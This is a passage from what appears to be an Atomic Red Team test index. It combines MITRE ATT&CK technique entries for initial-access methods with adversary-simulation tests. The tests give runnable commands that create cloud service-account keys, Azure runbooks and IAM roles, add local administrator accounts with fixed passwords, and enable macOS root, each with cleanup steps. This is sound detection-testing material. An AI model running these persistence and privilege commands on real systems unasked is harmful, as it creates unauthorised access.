        url: https://blog.sygnia.co/luna-moth-false-subscription-scams
      - source_name: Proofpoint Vishing
        description: Proofpoint. (n.d.). What Is Vishing?. Retrieved September 8,
          2023.
        url: https://www.proofpoint.com/us/threat-reference/vishing
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1195.002:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00
      created: '2020-03-11T14:17:21.153Z'
      x_mitre_version: '1.1'
      external_references:
      - source_name: mitre-attack
        external_id: T1195.002
        url: https://attack.mitre.org/techniques/T1195/002
      - source_name: Avast CCleaner3 2018
        url: https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities
        description: Avast Threat Intelligence Team. (2018, March 8). New investigations
          into the CCleaner incident point to a possible third stage that had keylogger
          capacities. Retrieved March 15, 2018.
      - source_name: Command Five SK 2011
        url: https://www.commandfive.com/papers/C5_APT_SKHack.pdf
        description: Command Five Pty Ltd. (2011, September). SK Hack by an Advanced
          Persistent Threat. Retrieved April 6, 2018.
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may manipulate application software prior to receipt
        by a final consumer for the purpose of data or system compromise. Supply chain
        compromise of software can take place in a number of ways, including manipulation
        of the application source code, manipulation of the update/distribution mechanism
        for that software, or replacing compiled releases with a modified version.\n\nTargeting
        may be specific to a desired victim set or may be distributed to a broad set
        of consumers but only move on to additional tactics on specific victims.(Citation:
        Avast CCleaner3 2018)(Citation: Command Five SK 2011)  "
      modified: '2022-05-24T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Compromise Software Supply Chain
      x_mitre_detection: 'Use verification of distributed binaries through hash checking
        or other integrity checking mechanisms. Scan downloads for malicious signatures
        and attempt to test software and updates prior to deployment while taking
        note of potential suspicious activity. '
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'File: File Metadata'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1078.002:
    technique:
      modified: '2023-08-14T14:55:07.432Z'
      name: Domain Accounts
      description: |-
        Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)

        Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_contributors:
      - Jon Sternstein, Stern Security
      x_mitre_deprecated: false
      x_mitre_detection: "Configure robust, consistent account activity audit policies
        across the enterprise and with externally accessible services.(Citation: TechNet
        Audit Policy) Look for suspicious account behavior across systems that share
        accounts, either user, admin, or service accounts. Examples: one account logged
        into multiple systems simultaneously; multiple accounts logged into the same
        machine simultaneously; accounts logged in at odd times or outside of business
        hours. Activity may be from interactive login sessions or process ownership
        from accounts being used to execute binaries on a remote system as a particular
        account. Correlate other security systems with login information (e.g., a
        user has an active login session but has not entered the building or does
        not have VPN access).\n\nOn Linux, check logs and other artifacts created
        by use of domain authentication services, such as the System Security Services
        Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain
        accounts to detect accounts that may have been created by an adversary for
        persistence."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      - 'Logon Session: Logon Session Metadata'
      x_mitre_permissions_required:
      - User
      - Administrator
      type: attack-pattern
      id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f
      created: '2020-03-13T20:21:54.758Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078/002
        external_id: T1078.002
      - source_name: TechNet Credential Theft
        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
          Theft. Retrieved June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn535501.aspx
      - source_name: TechNet Audit Policy
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
      - source_name: Microsoft AD Accounts
        description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved
          March 13, 2020.
        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts
      - source_name: Ubuntu SSSD Docs
        description: Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021.
        url: https://ubuntu.com/server/docs/service-sssd
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1200:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Hardware Additions
      description: |-
        Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.

        While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_deprecated: false
      x_mitre_detection: "Asset management systems may help with the detection of
        computer systems or network devices that should not exist on a network. \n\nEndpoint
        sensors may be able to detect the addition of hardware via USB, Thunderbolt,
        and other external device communication ports."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_version: '1.6'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Drive: Drive Creation'
      - 'Application Log: Application Log Content'
      type: attack-pattern
      id: attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1200
        external_id: T1200
      - source_name: Ossmann Star Feb 2011
        description: Michael Ossmann. (2011, February 17). Throwing Star LAN Tap.
          Retrieved March 30, 2018.
        url: https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html
      - source_name: Aleks Weapons Nov 2015
        description: Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding
          the virtual & physical tools used by white/black hat hackers. Retrieved
          March 30, 2018.
        url: https://www.youtube.com/watch?v=lDvf4ScWbcQ
      - source_name: McMillan Pwn March 2012
        description: Robert McMillan. (2012, March 3). The Pwn Plug is a little white
          box that can hack your network. Retrieved March 30, 2018.
        url: https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/
      - source_name: Frisk DMA August 2016
        description: Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel.
          Retrieved March 30, 2018.
        url: https://www.youtube.com/watch?v=fXthwl6ShOg
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
    atomic_tests: []
  T1189:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Drive-by Compromise
      description: "Adversaries may gain access to a system through a user visiting
        a website over the normal course of browsing. With this technique, the user's
        web browser is typically targeted for exploitation, but adversaries may also
        use compromised websites for non-exploitation behavior such as acquiring [Application
        Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple
        ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)),
        including:\n\n* A legitimate website is compromised where adversaries have
        injected some form of malicious code such as JavaScript, iFrames, and cross-site
        scripting\n* Script files served to a legitimate website from a publicly writeable
        cloud storage bucket are modified by an adversary\n* Malicious ads are paid
        for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n*
        Built-in web application interfaces are leveraged for the insertion of any
        other kind of object that can be used to display web content or contain a
        script that executes on the visiting client (e.g. forum posts, comments, and
        other user controllable web content).\n\nOften the website used by an adversary
        is one visited by a specific community, such as government, a particular industry,
        or region, where the goal is to compromise a specific user or set of users
        based on a shared interest. This kind of targeted campaign is often referred
        to a strategic web compromise or watering hole attack. There are several known
        examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical
        drive-by compromise process:\n\n1. A user visits a website that is used to
        host the adversary controlled content.\n2. Scripts automatically execute,
        typically searching versions of the browser and plugins for a potentially
        vulnerable version. \n    * The user may be required to assist in this process
        by enabling scripting or active website components and ignoring warning dialog
        boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to
        the browser.\n4. If exploitation is successful, then it will give the adversary
        code execution on the user's system unless other protections are in place.\n
        \   * In some cases a second visit to the website after the initial scan is
        required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing
        Application](https://attack.mitre.org/techniques/T1190), the focus of this
        technique is to exploit software on a client endpoint upon visiting a website.
        This will commonly give an adversary access to systems on the internal network
        instead of external systems that may be in a DMZ.\n\nAdversaries may also
        use compromised websites to deliver a user to a malicious application designed
        to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s,
        like OAuth tokens, to gain access to protected applications and information.
        These malicious applications have been delivered through popups on legitimate
        websites.(Citation: Volexity OceanLotus Nov 2017)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_contributors:
      - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)
      - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.

        Network intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.

        Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - SaaS
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'Network Traffic: Network Connection Creation'
      type: attack-pattern
      id: attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1189
        external_id: T1189
      - source_name: Shadowserver Strategic Web Compromise
        description: Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic
          Web Compromises – Trusted Websites Serving Dangerous Results. Retrieved
          March 13, 2018.
        url: http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/
      - source_name: Volexity OceanLotus Nov 2017
        description: 'Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms:
          Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the
          Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.'
        url: https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1078.004:
    technique:
      modified: '2024-03-29T15:42:13.499Z'
      name: 'Valid Accounts: Cloud Accounts'
      description: "Valid accounts in cloud environments may allow adversaries to
        perform actions to achieve Initial Access, Persistence, Privilege Escalation,
        or Defense Evasion. Cloud accounts are those created and configured by an
        organization for use by users, remote support, services, or for administration
        of resources within a cloud service provider or SaaS application. Cloud Accounts
        can exist solely in the cloud; alternatively, they may be hybrid-joined between
        on-premises systems and the cloud through syncing or federation with other
        identity sources such as Windows Active Directory. (Citation: AWS Identity
        Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying
        AD Federation)\n\nService or user accounts may be targeted by adversaries
        through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566),
        or various other means to gain access to the environment. Federated or synced
        accounts may be a pathway for the adversary to affect both on-premises systems
        and cloud environments - for example, by leveraging shared credentials to
        log onto [Remote Services](https://attack.mitre.org/techniques/T1021). High
        privileged cloud accounts, whether federated, synced, or cloud-only, may also
        allow pivoting to on-premises environments by leveraging SaaS-based [Software
        Deployment Tools](https://attack.mitre.org/techniques/T1072) to run commands
        on hybrid-joined devices.\n\nAn adversary may create long lasting [Additional
        Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised
        cloud account to maintain persistence in the environment. Such credentials
        may also be used to bypass security controls such as multi-factor authentication.
        \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)
        or other privileges through various means within the environment. Misconfigurations
        in role assignments or role assumption policies may allow an adversary to
        use these mechanisms to leverage permissions outside the intended scope of
        the account. Such over privileged accounts may be used to harvest sensitive
        data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009)
        or other methods. \n"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_contributors:
      - Jon Sternstein, Stern Security
      x_mitre_deprecated: false
      x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal
        or malicious behavior, such as accessing information outside of the normal
        function of the account or account usage at atypical hours.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Google Workspace
      x_mitre_version: '1.7'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Metadata'
      - 'Logon Session: Logon Session Creation'
      x_mitre_permissions_required:
      - User
      - Administrator
      type: attack-pattern
      id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65
      created: '2020-03-13T20:36:57.378Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078/004
        external_id: T1078.004
      - source_name: AWS Identity Federation
        description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13,
          2020.
        url: https://aws.amazon.com/identity/federation/
      - source_name: Google Federating GC
        description: Google. (n.d.). Federating Google Cloud with Active Directory.
          Retrieved March 13, 2020.
        url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction
      - source_name: Microsoft Deploying AD Federation
        description: Microsoft. (n.d.). Deploying Active Directory Federation Services
          in Azure. Retrieved March 13, 2020.
        url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1078.004
    atomic_tests:
    - name: Creating GCP Service Account and Service Account Key
      auto_generated_guid: 9fdd83fd-bd53-46e5-a716-9dec89c8ae8e
      description: 'GCP Service Accounts can be used to gain intial access as well
        as maintain persistence inside Google Cloud.

        '
      supported_platforms:
      - google-workspace
      - iaas:gcp
      input_arguments:
        project-id:
          description: ID of the project, you want to create service account as well
            as service account key for
          type: string
          default: art-project-1
        service-account-name:
          description: Name of the service account
          type: string
          default: gcp-art-service-account-1
        service-account-email:
          description: Email of the service account
          type: string
          default: gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com
        output-key-file:
          description: Email of the service account
          type: string
          default: gcp-art-service-account-1.json
      executor:
        name: sh
        elevation_required: false
        command: |
          gcloud config set project #{project-id}
          gcloud iam service-accounts create #{service-account-name}
          gcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email}
        cleanup_command: 'gcloud iam service-accounts delete #{service-account-email}
          --quiet

          '
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires gcloud

          '
        prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "Please Install Google Cloud SDK before running
          this atomic test : https://cloud.google.com/sdk/docs/install"

          '
      - description: "Check if user is logged in \n"
        prereq_command: 'gcloud config get-value account

          '
        get_prereq_command: 'gcloud auth login --no-launch-browser

          '
    - name: Azure Persistence Automation Runbook Created or Modified
      auto_generated_guid: 348f4d14-4bd3-4f6b-bd8a-61237f78b3ac
      description: |
        Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure
        Automation runbook to execute malicious code and maintain persistence in their target's environment.
      supported_platforms:
      - iaas:azure
      input_arguments:
        username:
          description: Azure username
          type: string
          default: 
        password:
          description: Azure password
          type: string
          default: 
        resource_group:
          description: Name of the resource group
          type: string
          default: 
        runbook_name:
          description: Name of the runbook name
          type: string
          default: 
        automation_account_name:
          description: Name of the automation account name
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'Check if terraform is installed.

          '
        prereq_command: 'terraform version

          '
        get_prereq_command: 'echo Please install terraform.

          '
      - description: 'Install-Module -Name Az

          '
        prereq_command: 'try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name Az -Scope CurrentUser -Force

          '
      - description: 'Check if the user is logged into Azure.

          '
        prereq_command: 'az account show

          '
        get_prereq_command: "echo Configure your Azure account using: az login. \n"
      - description: 'Create dependency resources using terraform

          '
        prereq_command: 'try {if (Test-Path "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/terraform.tfstate"
          ){ exit 0 } else {exit 1}} catch {exit 1}

          '
        get_prereq_command: |
          cd "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/"
          terraform init
          terraform apply -auto-approve
      executor:
        command: |
          $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
          $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
          Connect-AzAccount -Credential $creds
          New-AzAutomationRunbook -Name #{runbook_name} -Type PowerShell -ResourceGroupName #{resource_group} -Description 'my-test-runbook' -AutomationAccountName #{automation_account_name}
        name: powershell
        elevation_required: false
        cleanup_command: |
          Remove-AzAutomationRunbook -AutomationAccountName #{automation_account_name} -Name #{runbook_name} -ResourceGroupName #{resource_group} -Force
          cd "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/"
          terraform destroy -auto-approve
    - name: GCP - Create Custom IAM Role
      auto_generated_guid: 3a159042-69e6-4398-9a69-3308a4841c85
      description: "This atomic will create a new IAM role. The default role permissions
        are: *IAM Service Account Get*. The idea for this Atomic came from a Rule
        published by the Elastic team.\n\nIdentifies an Identity and Access Management
        (IAM) custom role creation in Google Cloud Platform (GCP). \nCustom roles
        are user-defined, and allow for the bundling of one or more supported permissions
        to meet specific needs. \nCustom roles will not be updated automatically and
        could lead to privilege creep if not carefully scrutinized.\n\nThis atomic
        will create a new IAM role. The default role permissions are: *IAM Service
        Account Get*\n\nReference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/initial_access_gcp_iam_custom_role_creation.toml\n"
      supported_platforms:
      - iaas:gcp
      input_arguments:
        project-id:
          description: ID of the GCP Project you to execute the command against.
          type: string
          default: atomic-test-1
        role-name:
          description: The name of the role to be created.
          type: string
          default: AtomicRedTeamRole
        role-description:
          description: The description of the role to be created.
          type: string
          default: Atomic Red Team Custom IAM Role
        roles:
          description: List of roles to be applied
          type: string
          default: iam.serviceAccounts.get
      executor:
        name: sh
        elevation_required: false
        command: |
          gcloud config set project #{project-id}
          gcloud iam roles create #{role-name} --description="#{role-description}" --permissions=#{roles} --project=#{project-id}
        cleanup_command: 'gcloud iam roles delete #{role-name} --project=#{project-id}

          '
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires gcloud

          '
        prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "Please Install Google Cloud SDK before running
          this atomic test : https://cloud.google.com/sdk/docs/install"

          '
      - description: "Check if user is logged in \n"
        prereq_command: 'gcloud config get-value account

          '
        get_prereq_command: 'gcloud auth login --no-launch-browser

          '
  T1566.003:
    technique:
      modified: '2024-01-31T14:15:55.690Z'
      name: Spearphishing via Service
      description: "Adversaries may send spearphishing messages via third-party services
        in an attempt to gain access to victim systems. Spearphishing via service
        is a specific variant of spearphishing. It is different from other forms of
        spearphishing in that it employs the use of third party services rather than
        directly via enterprise email channels. \n\nAll forms of spearphishing are
        electronically delivered social engineering targeted at a specific individual,
        company, or industry. In this scenario, adversaries send messages through
        various social media services, personal webmail, and other non-enterprise
        controlled services.(Citation: Lookout Dark Caracal Jan 2018) These services
        are more likely to have a less-strict security policy than an enterprise.
        As with most kinds of spearphishing, the goal is to generate rapport with
        the target or get the target's interest in some way. Adversaries will create
        fake social media accounts and message employees for potential job opportunities.
        Doing so allows a plausible reason for asking about services, policies, and
        software that's running in an environment. The adversary can then send malicious
        links or attachments through these services.\n\nA common example is to build
        rapport with a target via social media, then send content to a personal webmail
        service that the target uses on their work computer. This allows an adversary
        to bypass some email restrictions on the work account, and the target is more
        likely to open the file since it's something they were expecting. If the payload
        doesn't work as expected, the adversary can continue normal communications
        and troubleshoot with the target on how to get it working."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_deprecated: false
      x_mitre_detection: "Because most common third-party services used for spearphishing
        via service leverage TLS encryption, SSL/TLS inspection is generally required
        to detect the initial communication/delivery. With SSL/TLS inspection intrusion
        detection signatures or other security gateway appliances may be able to detect
        malware. \n\nAnti-virus can potentially detect malicious documents and files
        that are downloaded on the user's computer. Endpoint sensing or network sensing
        can potentially detect malicious events once the file is opened (such as a
        Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe)
        for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203)
        or usage of malicious scripts."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317
      created: '2020-03-02T19:24:00.951Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1566/003
        external_id: T1566.003
      - source_name: Lookout Dark Caracal Jan 2018
        description: 'Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage
          at a Global Scale. Retrieved April 11, 2018.'
        url: https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1078.003:
    technique:
      modified: '2023-07-14T13:04:04.591Z'
      name: 'Valid Accounts: Local Accounts'
      description: "Adversaries may obtain and abuse credentials of a local account
        as a means of gaining Initial Access, Persistence, Privilege Escalation, or
        Defense Evasion. Local accounts are those configured by an organization for
        use by users, remote support, services, or for administration on a single
        system or service.\n\nLocal Accounts may also be abused to elevate privileges
        and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).
        Password reuse may allow the abuse of local accounts across a set of machines
        on a network for the purposes of Privilege Escalation and Lateral Movement. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_deprecated: false
      x_mitre_detection: Perform regular audits of local system accounts to detect
        accounts that may have been created by an adversary for persistence. Look
        for suspicious account behavior, such as accounts logged in at odd times or
        outside of business hours.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Containers
      - Network
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Logon Session: Logon Session Metadata'
      - 'User Account: User Account Authentication'
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2
      created: '2020-03-13T20:26:46.695Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078/003
        external_id: T1078.003
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1078.003
    atomic_tests:
    - name: Create local account with admin privileges
      auto_generated_guid: a524ce99-86de-4db6-b4f9-e08f35a47a15
      description: After execution the new account will be active and added to the
        Administrators group
      supported_platforms:
      - windows
      input_arguments:
        password:
          description: Password for art-test user
          type: string
          default: "-4RTisCool!-321"
      executor:
        command: |-
          net user art-test /add
          net user art-test #{password}
          net localgroup administrators art-test /add
        cleanup_command: |-
          net localgroup administrators art-test /delete >nul 2>&1
          net user art-test /delete >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Create local account with admin privileges - MacOS
      auto_generated_guid: f1275566-1c26-4b66-83e3-7f9f7f964daa
      description: After execution the new account will be active and added to the
        Administrators group
      supported_platforms:
      - macos
      executor:
        command: |-
          dscl . -create /Users/AtomicUser
          dscl . -create /Users/AtomicUser UserShell /bin/bash
          dscl . -create /Users/AtomicUser RealName "Atomic User"
          dscl . -create /Users/AtomicUser UniqueID 503
          dscl . -create /Users/AtomicUser PrimaryGroupID 503
          dscl . -create /Users/AtomicUser NFSHomeDirectory /Local/Users/AtomicUser
          dscl . -passwd /Users/AtomicUser mySecretPassword
          dscl . -append /Groups/admin GroupMembership AtomicUser
        cleanup_command: sudo dscl . -delete /Users/AtomicUser
        name: bash
        elevation_required: true
    - name: Create local account with admin privileges using sysadminctl utility -
        MacOS
      auto_generated_guid: 191db57d-091a-47d5-99f3-97fde53de505
      description: After execution the new account will be active and added to the
        Administrators group
      supported_platforms:
      - macos
      executor:
        command: sysadminctl interactive -addUser art-tester -fullName ARTUser -password
          !pass123! -admin
        cleanup_command: sysadminctl interactive -deleteUser art-tester
        name: bash
        elevation_required: true
    - name: Enable root account using dsenableroot utility - MacOS
      auto_generated_guid: 20b40ea9-0e17-4155-b8e6-244911a678ac
      description: After execution the current/new user will have root access
      supported_platforms:
      - macos
      executor:
        command: |-
          dsenableroot #current user
          dsenableroot -u art-tester -p art-tester -r art-root #new user
        cleanup_command: |-
          dsenableroot -d #current user
